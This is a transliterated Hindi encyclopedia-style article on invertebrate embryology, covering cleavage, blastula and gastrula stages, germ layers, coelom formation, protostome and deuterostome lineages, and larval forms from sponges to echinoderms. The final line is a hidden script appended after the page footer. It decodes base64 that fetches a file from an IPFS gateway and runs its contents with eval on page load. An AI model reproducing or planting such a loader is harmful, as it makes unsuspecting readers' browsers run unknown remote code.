अपृष्ठवंशी भ्रूणतत्व

aprishthavanshi bhroonatatv jin praniyoan mean ridh nahian hoti unhean aprishthavanshi kahate haian. vijnan ka vah vibhag aprishthavanshi bhroonatatv kahalata hai jisamean aise praniyoan mean bachchoan ke janm ke aranbh par vichar hota hai. adhikatar praniyoan mean nar aur mada prithakh‌ hote haian. nar shukranu (spartaitozoa) srijan karate haian tatha mada aande deti hai. in donoan ke sanyog se bachcha paida hota hai. parantu nimn shreni ke bahut se prani aise bhi hote haian jinamean nar aur mada mean koee prabhed nahian hota aur ve shukranu athava aande nahian dete. inaki vriddhi inake sare sharir ke dvivibhajan (bainari phishan), ya aankuran (badiang), ya bijaen (spor) nirman dvara hoti hai. inase kuchh adhik unnat praniyoan mean do aise prani tho de samay ke lie sanyukt hote haian aur usake pashchath‌ pun: vibhajan dvara vansh ki vriddhi karate haian. inase bhi adhik unnat praniyoan mean dekha jata hai ki do prithakh‌ prani ek doosare se sanpoorn roop se sanyukt ho jate haian aur unaki prithakh‌ satta nahian rah jati. aise sanyog ke pashchath‌ phir vibhajan tatha khandan dvara vansh ki vriddhi hoti hai. aise prani ekakoshin (protozoa) shreni ke haian jinaka sara sharir keval ek hi kosh (sel) ka bana hota hai. par inamean kuchh aise bhi hote haian jo uchch shreni ke praniyoan ki bhaanti shukranu tatha aan doan ka akar grahan kar lete haian aur in donoan ke sanyog ke pashchath‌ pun: khandan tatha vibhajan kriya prachalit hoti hai. ekakoshikiy (protozoa) ke sharir ki, ek hi kosh hone ke karan, vriddhi mean keval kosh ke ayatan mean vriddhi hoti hai. parantu naikakoshin (metazoa)praniyoan mean sharir ki vriddhi kramashil hoti hai. is praranbhik vardhanashil avastha mean ye bhroon kahalate haian aur poornata prapt karane ke poorv unamean bahut parivartan hota hai. bhroon bhi praranbhik avastha mean ek hi kosh ka hota hai, yadyapi yah do vibhinn koshoan, shukranu tatha aande, ki sanyuktavastha hai, jise yugmaj (zaigot)kahate haian. yah yugmaj kramash: bhedan (klivej)dvara bahukoshi banata hai, parantu ekakoshinoan se isaki bhijhata isi mean hai ki vibhajit kosh poothakh‌ nahian ho jate.

in ne koshoan ki pragati or niroopan do bhijh paddhatiyoan par hote haian. kuchh praniyoan mean in ne koshoan ka bhavishy bahut hi praranbhik kal mean nirdharit ho jata hai, jisase yah nishchit ho jata hai ki ve kin kin aangoan ki srishti kareange. is paddhati ko visheshit vibhinnata athava kuttimachitr (mozeik)vikas kahate haian. aise ek vibhajanashil aande ko do saman bhagoan mean vibhakt karane par pratyek khand us prani ki keval ardhaang hi bana sakata hai. doosari paddhati mean aangoan ka nirdharan prathamavastha mean nahian hota aur aise aandoan ka do bhagoan mean vibhajan karane se yadyapi ve ayatan mean chhote ho jate haian, tathapi pratyek bhag sanpoorn prani ko banata hai. aisi vibhajan pranali ko anishyit (ianditarminet) athava viniyamak (reguletiv) bhedan kahate haian. parantu kuchh avadhi ke pashchath‌ inamean bhi koshoan ka bhavishy pratham paddhati ki bhaanti nirdharit ho jata hai aur us samay aandoan ka vibhajan karane par prani poornaang nahian banata.

sadharanataya aandoan ke aandar khadyapadarth pitak (yok) ke roop mean sanchit rahata hai. vardhanashil bhroon ki pushti pitak se hoti rahati hai. aande ke bhitar pitak ka vitaran mukhyat: tin prakar ka hota hai. pratham mean pitak ki matra bahut kam hoti hai or vah sare aande mean saman roop se vistrit rahata hai. aise aande ko apiti(ailesithail, aiso-lesithail athava homolesithail) kahate haian. doosare prakar mean pitak ki matra bahut adhik hoti hai or vah aande ke nimnabhag mean ekatrit rahata hai. aise aande ko ekat:piti (telolesithel) kahate haian. tisare prakar mean pitak aande ke madhy bhag mean sthit rahata hai. aise aande ko keandrapati (seantrolesithail) kahate haian.

pitak ki matra tatha usaki sthiti ke anusar aande ka vibhajan bhinn--bhinn prakar ka hota hai. pitak vibhajan kriya mean badhak hota hai. apiti aande sanpoorn roop se vibhajit hote haian. aisi vibhajan pranali ko poornabhedan (holoblaistik klivej) kahate haian. parantu ekat: piti aandoan mean pitak ke niche ki or ekatrit hone ke karan aande ka oopari bhag shuddh tatha sakriy rahata hai aur vibhajan kriya keval oopari bhag mean abaddh rahati hai. niche ka bhag praranbhik kal mean vibhajit nahian hota. aisi aanshik vibhajan pranali ko apoorn bhedan (meroblaistik athava disk aauyadal klivej) kahate haian. jahaan pitak aande ke keandrasthal mean rahata hai vahaan vibhajan kriya keval paridhi par avaddh rahati hai. aisi vibhajan pranali ko uparishthabhedan (suparafishiyal klivej) kahate haian. adhikatar aandoan mean sakriy oopari bhag aur apekshakrit nishkriy nimn bhag pahale se hi pratyaksh ho jata hai--oopari bhag ko pranadhriiv (ainimal pol) kahate haian aur niche ke bhag ko vardhdhriav (vejitetiv athava vejital pol) kahate haian.

aandoan ka vibhajan vibhinn prakar ki samamitiyoan ke anusar vibhijh hota hai. dviparshv samamiti mean pratham vibhajan rekha kharabooje ki dhari ki tarah (meridoniyal) hoti hai, jisake phalasvaroop do kosh banate haian. inhian donoan koshoan se sharir ke dakshin aur vam parshv ki srishti hoti haian. donoan parshvo mean saman roop se vibhajan hota rahata hai. trijy samamiti ki visheshata yah hai ki vibhajan rekhaean sada ek doosare ko oordhvadhar rekhaoan dvara katati haian aur aksh ke charoan or saman roop se koshoan ki vriddhi hoti hai. isake atirikt ek tisari riti bhi hoti hai jisamean vibhajan rekha vakr hoti hai, aur kram se ek bar dahini or ko aur doosari bar baeean or ko jhuki rahati hai. aisi pranali ko kuantal bhedan (spairal klivej) kahate haian, par inaka aantim parinam dviparshv samamiti hoti hai. dvayar samamiti mean pratham vibhajan dviparshv hota hai, par isake pashchath‌ donoan parshvo mean trijy samamiti ki pratha prachalit hoti hai.

vibhajan kriya tivr gati se hoti hai--koshoan ki sankhya badhati jati hai, par ayatan mean ve chhote hote jate haian. aant mean bahukoshavala ek golakar bhroon banata hai jisako ekabhittika (blaischula) kaha jata hai. ne kosh sab is gole ki paridhi par hote haian aur bich mean lasika (lianph) se bhara ek vivar rahata hai. is vivar ko ekabhiktika guha (blaistosil) kahate haian.

oopar baeean or ke do chitr mean poli ekabhiktika (siloblaischula) ki anuprasth kat dikhaee gee hai tatha dahini or

bianbaikabhiktika (diskoblaischula) aur dahini or paryaikabhiktika (periblaischula) ki anuprasth katean dikhaee gee haian.

1. ekabhiktika-guha (blaistosil); 2. pitak (yok); 3. pitak 4. saandraikabhiktika.

aisi khokhali ekabhiktika ko guhiy ekabhiktika (siloblaischula) kahate haian. isaki bahari divar mean keval ek hi kosh ki gaharaee hoti hai. ekat: piti aandoan mean niche ki or pitak ke sanchay ke karan ekabhiktika guha oopar ki or banati hai. vibhajan keval aande ke oopar hi, jahaan pitak ki matra atyadhik hoti hai. abaddh rahata hai aur ekabhiktika guha bahut hi sankshipt roop mean banati hai. is prakar ki ekabhiktika ko bianbakabhiktika (diskoblaischula) kahate haian . jin aandoan mean pitak madhyasthal mean rahata hai unamean vibhajan keval paridhi mean hota hai. aisi ekabhiktika ko paryaikabhiktika (periblaischula athava suparaphishiyal blaischula) kahate haian. kuchh praniyoan mean ekabhiktika thos hoti hai aur golaee ke bhitar bhi kosh bhare rahate haian. aisi sthiti mean ekabhiktika ko saandraikabhiktika bhittika (stirioblaischua) athva toot (moroola) kahate haian.

chhidrishthoan (spanjaaian) mean ekabhiktika avastha mean mukhadvar banata hai, is karan aisi ekabhiktika ko mukhaikabhiktika (stomoblaischula) kahate haian. any shreni ke praniyoan mean aisa nahian hota.

jab tak ek partavali ekabhiktika kramash: do partavali banati hai tab tak bhroon ko syootibhroon kahate haian. doosari part kee vibhijh paddhatiyoan se banati hai. sabase saral pranali apiti aandoan mean hoti hai. isamean ekabhiktika ka nimn bhag, vardhdhriav, kramash: ekabhiktika guha ke aandar pravesh karata hai. aur aant mean bhitari part bahari part se mil jati hai. ekabhiktika guha ka astitv nahian rah jata aur usake sthan mean ek doosara vivar banata hai jo ab do parto se dhaka rahata hai. is vivar mean niche ki or ek chhidr hone ke karan yah khula rahata hai. is chhidr ko adyantramukh (blaistopor) kahate haian. syootibhroon banane ki is pranali ko aantargaman (inavaijineshan) athava eanboli ki pratha kahate haian. bahari part ko bahi:star (ektodarm athava epiblast) aur bhitari part ko aant:star (eandodarm athava haipoblast) kahate haian. aant:star se in praniyoan ki pachakanal (ailimeantari kainal) tatha usase utpann sabhi aangoan ka vikas hota hai. is karan aant:star se veshtit vivar ko adyantr (arakeantar aaun) kahate haian. adhikatar aprishthavanshi praniyoan mean adyantramukh unake agrabhag ka nirdeshak hota hai aur usase ya usake nikat unaka mukhadvar banata hai. aise praniyoan ko adyamukhi (protostomiyan) kahate haian. isake viparit sabhi prishtavanshi (vartibrets) aur kuchh aprishtavanshi praniyoan mean adyantramukh prani ke pashchadbhag ka nirdeshak hota hai jahaan maladvar banata hai. aise viparitapanthi praniyoan ko dvitiyamukhi (dayootero-stomiyan) kahate haian.

jin aandoan mean pitak adhik matra mean rahata hai aur ekabhiktika guha bahut sankshipt hoti hai, unamean oopar ke kosh tivr gati se vibhajit hote rahate hai aur kramash: badhate hue niche ke pitak se bhare sthan ke oopar prasarit hote haian. is tarah niche ki or do parte banati haian. is pranali ko adyavriddhi (epiboli) kahate haian. bianbaikabhiktika mean pitak atyadhik hone ke karan ne kosh keval oopari bhag mean banate haian aur unamean se kuchh kosh alag hokar pahali part ke niche a jate haian. aisi pranali ko prithakstaran (dilaimineshan) kahate haian. isake atirikt kuchh praniyoan mean oopari part prasarit n hokar bhitar ki or mu d jati hai aur sankshipt ekabhiktika guha ke niche doosari part banati hai. is pratha ko aantarvalan (inavolyooshan) kahate haian.

bahukoshavishisht nimn shreni ke praniyoan mean, jaise chhidrin (porifera), aantaraguhi (sileantareta) or kankativarg (tinafora) mean keval do hi part banate haian. is karan inako dvistariprani (diploblastik) kahate haian. inhian do parto se inaka sara sharir aur usake vibhinn aang banate haian. inamean visheshata yah hoti hai ki sharir ka bahari avaran tatha bhitari pachak-nal ek doosare ke keval ek koshavihin tantu dvara sanlagn rahate haian jise madhyashlesh (mesoglika) kahate haian. in tin shreni ke praniyoan ke atirikt bahukoshavishisht sabhi

1, 2 aur 3 mean aantarvardhan (eanboli) dikhaya hai; k. adyantramukh (blaistopor); kh. adyantr (arakeantar aaun); g. adh:star (haipoblast); gh. bahi:star (epiblast); 4. mean adhyavriddhi (epiboli) dikhaee gee hai; ch. pitak (yok); 5 mean prithakstaran (dilaimineshan) dikhaya gaya hai; chh. pitak; tatha 6 mean aantarvalan (invo-lyushan) dikhaya gaya hai, j. pitak.

praniyoan mean ek tisara part banata hai jo bahi:star (epiblast) tatha adh:star (haipoblast) ke bich mean sthit rahata hai. isako madhyastar (mesodarm athava mesoblast) kahate haian, evan aise praniyoan ko tristari (triploblaistik) kahate haian. is madhyastar ka pravartan ya to bahi:star tatha aant:star donoan sansthaoan se hota hai, athava keval aant:star se hota hai. pratham avastha mean is madhyastar ko bahirmadhyastar (ektomesodarm) aur dvitiy avastha mean aantarmadhyastar (eandomesodarm) kahate haian. aisa dvijatiy madhyastar keval adyamukhi shreni ke praniyoan mean hota hai. dvitiyamukhi praniyoan mean keval aant:madhyastar hota hai. aprishthavanshi praniyoan mean keval sharakrimivarg (kitognatha) aur shalayacharm (ikainodarm) dvitiyamukhi hote haian, aur shesh sab adyamukhi hote haian. tristari praniyoan ki visheshata yah hai ki madhyastar se bahari avaran aur pachakanal ke bich ek lasika se bhara vivar banata hai, jisako dehaguha (silom athava badi kaibiti) kahate haian. is dehaguha ki bahari aur bhitari divarean madhyastar ki partoan se hi dhaki hoti haian. isake atirikt madhyastar se maansapeshi (masal), asthi, rakt, prajananatantr tatha utsargi aang banate haian.

kuchh tristari jiv aise bhi haian jinamean dehaguha nahian rahati aur usake sthan par ek vishesh tantu bhara rahata hai jise mooloti (pareankima) kahate haian. is karan tristari ko phir do bhagoan mean baanta jata hai---ek to sadehaguha (silomata), jinamean dehaguha vartaman rahati hai, aur doosari adehaguha, jinamean dehaguha ki jagah keval mooloti rahata hai.

madhyastar ki ek aur visheshata hoti hai jisake karan adhikatar tristari jivoan mean sharir ka bahukhandoan mean vibhajan hota hai, athava keval bhitar ke aangoan mean hi dekha jata hai.

adyamukhi aur dvitiyamukhi mean dehaguha ka pravartan bhinn-bhinn prakar se hota hai. adyamukhi mean bahirmadhyastar se bhroon ko maansapeshi tatha yoji ooti (kanektiv tishooj) banate haian. aantarmadhyastar ke kosh bhroon ke pichhe ki or rahate haian. in koshoan se sharir ke aandar prathamat: koshoan ka ek thos samooh hota hai jo bad mean do parto mean vibhajit ho jata hai. bich ka vivar dehaguha banata hai. is prakar se bani dehaguha ko vipahaguha (skijaesil) kahate haian. dvitiyamukhi mean aantarmadhyastar pahale se hi adyantr (arakeantar aaun) ki oopari divar ke donoan parshvoan mean sannihit rahata hai. kramash: yah adyantr se alag hokar dehaguha ka vivar banata hai. is prakar se bani dehaguha ko aantraguha (eantarosil) kahate haian.

bhinn-bhinn aangoan ka vikas kramash: bahistar, aantastar tatha madhyastar tinoan partoan se hota hai. bhroonavastha mean yadyapi aangoan ka vikas hota hai, tathapi ye kriyashil nahian hote. sanchit pitak ki adhikata athava pushti ka any prabandh rahane par bhroon vardhit avastha mean janm leta hai aur apana jivananirvah svadhin roop se kar sakata hai. parantu pitak ki matra kam hone par bahudha bhroon alpavikasit avastha mean hi janm lekar svavalanbi ho jata hai. is samay isaka sharir poorn vikasit avastha mean bhijh roop ka hota hai jise dianbh (larva) kahate haian. dianbh do prakar se poornata prapt karate haian. ek mean to ve kramash: badhate hue poorn roop grahan karate haian. doosari pratha mean dianbh kuchh avadhi ke pashchath‌ pray: sthir ya nishkriy ho jate haian, athava ahar band kar dete haian. is aantarim kal mean ve shankhi (pyoopa) kahalate haian, aur inake sharir ke bhitar drut gati se parivartan hota hai, jisake pashchath‌ ve praudh roop ke ho jate haian. aise drut parivartan ko roopaantaran (met aaum aauph aausis) athava apratyaksh vikas (iandirekt develapameant) kahate haian.

jal mean aanda denevale sabhi jivoan ke sharir par, ekabhittika (blaischula) aur syootibhroon (gaistroola) avastha mean jivadravy (protoplajm) ki bani bal ki tarah romikaean (siliya) hoti haian, jinake dvara ve jal mean pragati karate haian.

chhidrin (p aaurifera) praniyoan ka mukhadvar ekabhittika avastha mean banata hai. inake ekabhittika ke agrabhag ke bhitar jivadravy ki bani kakshaean flailejae--chabuk jaise aang jae jiv ko tairakar chalane mean sahayata dete haian) hoti haian. syootibhroon banane ke samay yah bhag ulatakar mukhadvar se bahar ho jata hai. isake pashchath‌ ekabhittika agrabhag dvara kisi vastu se sanlagn ho jati hai. us samay viparit aansh ke kosh badhate hue agrabhag ke oopar prasarit hokar do partean banate haian jinako dvidhabhitti (aianphiblaischula) kahate haian. dvidhabhitti kramash: poorn roop jaran kar leti hai.

aantaraguhiyoan (sileantareta) mean ekabhittika ki divar se kosh alag hokar ekabhittika guha ke bhitar bhar jate haian. ekabhittika ab thos roop dharan karati hai. is sthiti mean inako chipitak (plainula) dianbh kahate haian. bhitar ke kosh se kramash: doosari part banati hai aur usake bich vivar banata hai. shreniyoan ki vibhajhata ke anusar inamean kee prakar ke dianbh hote haian. jaliyakavarg (haidrojaea) mean dianbh ek chhote belan ki tarah hota hai jisake mukh ko veshtit karate hue uangaliyoan ki tarah kee aang hote haian jinako sparshika (teantekals) kahate haian. is roop ke dianbh ko purupad (p aaulipaid) dianbh kahate haian. yah dianbh kramash: poorn roop grahan karata hai. chhatrik varg (sifozoa) mean bhi purupad dianbh banati haian, jisako haidrotyooba athava chashamukh (sifistoma) kahate haian.

1. rashmika (aiktinyoola); 2. chashamukh (saifistoma); 3. shodashar (efira) par yah dianbh pun: khandit hokar shodashar (efira) namak dianbh banata hai jisase poorn roop chhatrik banata hai. pushpajivavarg (aianthojaea) ki shreni mean bhi purupad dianbh banata hai. parupad dianbh aur chashamukh donoan praranbhik avastha mean rashmika (aiktinula) kahalate haian.

prithukrimi (plaitihelmeanthij, phlaivarms) sarvapratham tristari prani haian. inamean pahale dehaguha ekabhittika (siloblaistula) banati hai. is shreni mean viddhatr (trematoda) aur anaantr (sestoda---bina aantavale ki de) ke parashrayi hone ke karan, inaka jivan itihas parivartanoan se bhara hota hai. parantu parnachipit varg (tarbeleria) svadhin jiv haian, is karan inake jivan mean vishesh parivartan nahian hote. syootibhroon banane ke bad inake dianbh ke sharir se ath ubh de hue romikayukt piandak (silieteu lobs) banate haian. is dianbh ko mular ka dianbh kahate haian. 1. chakshu; 2. romikayukt khand; 3. mukh.

vikhandakrimi (nemeratimi) shreni ke praniyoan ke dianbh topi ki akriti ke hone ke karan unhean topidianbh (pilidiyam) kahate haian. inamean visheshata yah hai ki dianbh mean maladvar ka aranbh yahaan hota hai. topidianbh ka akar valayin (ainelida) shreni ke pakshavalay dianbh (tropidianbh larva) se milata hai. adhik unanatishil praniyoan ka vikas yahaan se hota hai.

valayin (ainelida) shreni ke jivoan mean dianbh mukhyat: pakshmavalay hota hai. isaki visheshata yah hai ki mukhadvara ke age sare sharir ko veshtit karati huee ek romikayukt patti hoti hai jisako poorvapakshmavalay (prototr aauk) kahate haian. yah romikayukt patti kud praniyoan mean ek se adhik bhi hoti hai. pakshamavalay dianbh ka akar chitr 6 mean dikhaya gaya haian. 5. pakshmavalay (prototr aauk)

choornapravar (molaska) shreni ke praniyoan mean dianbh sadharanat: pakshmavalay ke akar ka hota hai. parantu kramash: isake akar mean parivartan hota hai aur isake pashchath‌ vah patikadianbh (vilijar) kahalata hai. isamean visheshata yah hoti hai ki poorvapakshmavalay vardhit hokar do athava do se adhik aise piandak banate haian jo romikayukt hote haian. in piandakoan ko patika (vilam) aur dianbh ko pitakadianbh kahate haian. isake atirikt patikadianbh ke prishth par prakavach (shel) banata hai aur mukhadvar ke pichhe in jivoan ka pair banata hai. patika pragati ka aang hai.

choornapravar shreni ke muktikavansh (yooniyanidi faimili) mean dianbh parashrayi hota hai. is karan isake sharir ka gathan bhinn roop ka hota hai, jo chitr 7 mean dahini or dikhaya gaya hai. ye dianbh machhaliyoan ki tvacha tatha jalashvasanakaoan (gils) mean chipak jate haian aur poornata prapt karane ke pashchath‌ svavalanbi ho jate haian. chipakane ke lie inamean lagaanshoo (bisas hthrods) hote haian aur prakavach nukile hote haian. dianbh ki avastha mean inamean pachakanali nahian hoti. ye machhali ke sharir se apana khady ras ke roop mean shoshit karate haian. poornata prapt karane par lagaanshu nahian rah jate aur prakavach ka akar bhi badal jata hai. is dianbh ko lagaanshudianbh (gl aaukidiyam) kahate haian. patikadianbh (vilijar) tatha lagaanshudianbh (gl aaukidiyam) baeean or udarapad (gaistropoda) ke pragat patikadianbh (vilajar); dahini or lagaanshudianbh (gl aaukidiyam);

1. patika, 2. prakavach, 3. pad (pair), 4. lagaanshu- sootr (bisas hthrod), 5. prakavach.

sandhipapoan (arthraopoda) ki shreni ko kee bhagoan mean baanta gaya hai; yatha, (anikophora), kathinivarg (krasteshia), ayutapad (miriapoda), kit (iansekta) aur ashtapad (airaiknida). in sabhi mean aande keandrapiti hote haian, aur vibhajan (bhedan) uparishth hota hai. inamean ashtapad tatha nakharin mean bachche poorn vikasit avastha mean hi aande ke bahar ate haian. bhroonavastha ka koee vishesh mahatv nahian hota.

katinivarg (krasteshiya) mean dianbh kee prakar ke hote haian, aur inake ek doosare ke sanbandh ke bare mean bahut matabhed hai. inamean trayupaang (n aauplias) dianbh sabase nimn shreni ka mana jata hai. isake sharir mean khandan ka koee chinh nahian hota. aankh saral (sianpul) aur keval ek hoti hai. upaang (apeandejej) keval tin jo de aur dvishakh (bairaimas-do shakhaoan mean vibhajit) hote haian. uchch shreni ke katinivarg mean yah avastha aande ke aandar hi vyatit hoti hai.

do any upaang utpann hone par thhrayoopaang kramash: uttarathhrayoopaang (metan aauplias) ho jata hai aur tab isake sharir ka khandan aranbh ho jata hai. aankh keval ek or saral hoti hai. uttar thhrayoopaang, jab do aur upaang banate haian, prajiv (protozoia) ban jata hai. isaka sharir kramash: lanba hota jata hai, aur aankhean do ho jati haian, ek saral rahati hai. jab ek aur upaang banata hai tab prajiv jivak (zoia) ho jata hai. isaki aankhean do hoti haian, par ve dandiyoan par sthit rahati haian aur vriantakshi kahalati haian. isake pashchath‌ jivak se yupaang dianbh(n aaupli larava) kit bhroon (insekt eanbrio)7. pitak (yok); 8.ulb (emnion) chaladandaksh prajati (maisis) banata hai, jisamean khandan sanpoorn ho jata hai. sabhi khandoan mean upaang hote haian par visheshata yah hai ki isake chalane ke pair dvishakhi (bairaimas) hote haian. poornata prapt karane par pair ekashakhi (yooniraimas) ho jate haian. inake atirikt katinivarg mean aur kee prakar ke dianbh hote haian, yatha poornapuchchhak prajati (saipris), irikthas, ailima, kachakark prajati (filosoma), mahaksh (megalopa), ityadi; parantu in sabamean keval akar ka hi parivartan hota hai.

kitoan mean bhroon aande ke niche ki or banata hai aur unamean uragoan, pakshiyoan tatha stanajaeriyoan ki bhaanti taral dravy se bhari ek thaili, jise ulb (emnion) kahate haian, bhroon ko veshtit kie rahati hai:

kit tin prakar ke mane jate haian. pratham prakar mean bachcha aande ke bhitar hi poornata prapt kar leta hai. aise kit ko arachanaantari (aimetabola) kahate haian. doosare prakar mean bachcha yadyapi chhota hota hai, tathapi usaka roop praudhavastha ka hota hai. keval pankh aur jananeandriy kramash: banate haian. aise kit ko apoornarachanaantari (heterometabola) aur usake bachchoan ko kitashishu (niph) kahate haian. tisare prakar mean bachcha pratham avastha mean ek dhole ke akar ka hota hai, jo praudhavastha se poornataya bhinn hota hai. ye roopaantaran (metafarmosis) ke pashchath‌ poorn roop jaran karate haian. inaka poornarachanaantari (holometabola) kahate haian. ayutapad (miriapoda) mean bhi bachcha pray: poorn roop ka hota hai, par pratham avastha mean kitoan ki tarah isake bhi keval tin pair hote haian.

adyamukhi (protostomian) ka bhroonatatv yahian samapt hota hai. aprishthavanshi praniyoan mean keval sharakrimivarg (kitognatha) aur shalyacharm (ekinodarmata) dvitiyamukhi hote haian. sharakrimivarg kuchh vishayoan mean dvitiyamukhi se bhinn hote haian. inamean mukhadvar adyantramukhi (blaistopor) se hi banata hai, par bahirmadhyastar nahian hota aur dehaguha aantraguhi hoti hai.

shalyacharmavarg mean dvitiyamukhiyoan ki sabhi visheshataean paee jati haian. maladvar adyantramukh se athava usake nikat banata hai. mukhadvar viparit disha mean alag se banata hai. isake dianbh char mukhy prakar ke hote haian; yatha, laghuvardh (arikuleriya), abhitovardh (bipijheria), plavadianbh (plootias), ahiplavadianbh (ofiplootias) evan panchakon vritabh (peantakrin aauyad). inamean panchakon vriantabhadianbh poornavastha se bahut milata hai, keval isamean dharatal se sanlagn rahane ke lie ek dandi rahati hai, jo poornavastha mean nahian rah jati.

any sabhi dianbhoan mean do romika pattiyaan hoti haian, par pratyek dianbh mean ye bhinn roop dharan karati haian. ek romika patti mukhadvar ko chaturdikh‌ ghere rahati hai jise abhimukh (aidoral) romika-patti kahate haian aur doosari usake bahar sharir ko ghere rahati hai jise parimukh (perioral) romika-patti kahate haian. chitr 10 mean in donoan romika pattiyoan ki visheshataean dikhaee gee haian, jisase inaka aantar jnat hoga. shaly charmo (ekinodarms) ke dianbh baeean or laghuvardh (orikyuleriya); madhy mean: abhitovardh (vipijheriya); dahini or: kanduk dianbh (plutias). (perioral).

aprishthavanshi praniyoan ka yah bhroonatatv sankshep mean likha gaya hai. yadyapi in praniyoan ko 15-16 shreniyoan mean baanta gaya hai, tathapi inake bhroonatatv se yahi siddh hota hai ki yah vibhag keval bahyik hai aur praniyoan mean, visheshakar bhroonoan mean, ek aantarnihit paraspar sanbandh hai jisake dvara vikasavad ki pushti hoti hai. praniyoan ki vibhannata unake vatavarayan aur tadanusar unaki jivanapaddhati ke karan hoti hai. is siddhaant ke anusar sabhi praniyoan ko keval do vibhagoan mean baanta ja sakata hai. ek to adyamukhi aur doosara dvitiyamukhi. in donoan shakhaoan ko sharakrimivarg sanbandhit karata hai. isase yahi siddh hota hai ki praniyoan ke vikas mean adyamukhi pahale bane, aur usake pashchath‌ dvitiyamukhi. dvitiyamukhi se sabhi prishthavanshiyoan (vartebreta) ka vikas hua.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>